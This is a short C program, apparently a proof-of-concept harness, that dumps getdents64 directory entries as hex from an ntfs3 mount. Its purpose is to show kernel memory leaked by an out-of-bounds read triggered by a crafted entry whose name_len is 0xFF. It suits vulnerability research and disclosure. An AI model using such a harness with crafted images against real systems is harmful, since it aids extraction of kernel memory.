/*
 * harness.c - dump getdents64 output as raw bytes from an ntfs3 mount, to
 * observe the bytes leaked by the dir.c:308 OOB read.
 *
 * Build:   cc -O2 -o harness harness.c
 * Use:     ./harness /mnt/poc
 *
 * The malicious entry's name_len=0xFF (UTF-16 word count) makes the kernel
 * emit a string converted from 510 bytes starting at e+0x52. The first 0xBF
 * bytes are our "AB" marker. Anything after that is OOB.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <linux/types.h>

struct linux_dirent64 {
	__u64          d_ino;
	__s64          d_off;
	unsigned short d_reclen;
	unsigned char  d_type;
	char           d_name[];
};

static void dump_hex(const unsigned char *p, size_t n)
{
	for (size_t i = 0; i < n; i++) {
		printf("%02x", p[i]);
		if ((i & 0xF) == 0xF) printf(" ");
	}
}

int main(int argc, char **argv)
{
	if (argc < 2) {
		fprintf(stderr, "usage: %s <directory>\n", argv[0]);
		return 1;
	}
	int fd = open(argv[1], O_RDONLY | O_DIRECTORY);
	if (fd < 0) { perror("open"); return 1; }

	char buf[16384];
	long n;
	int idx = 0;
	while ((n = syscall(SYS_getdents64, fd, buf, sizeof(buf))) > 0) {
		for (long bpos = 0; bpos < n;) {
			struct linux_dirent64 *d = (void *)(buf + bpos);
			size_t nlen = strnlen(d->d_name,
				d->d_reclen - offsetof(struct linux_dirent64, d_name));
			printf("== entry[%d] ino=%llu reclen=%u type=%u nlen=%zu\n",
			       idx++, (unsigned long long)d->d_ino,
			       d->d_reclen, d->d_type, nlen);
			printf("  name(str): %.*s\n", (int)nlen, d->d_name);
			printf("  name(hex): ");
			dump_hex((unsigned char *)d->d_name, nlen);
			printf("\n");
			bpos += d->d_reclen;
		}
	}
	if (n < 0) { perror("getdents64"); return 1; }
	close(fd);
	return 0;
}
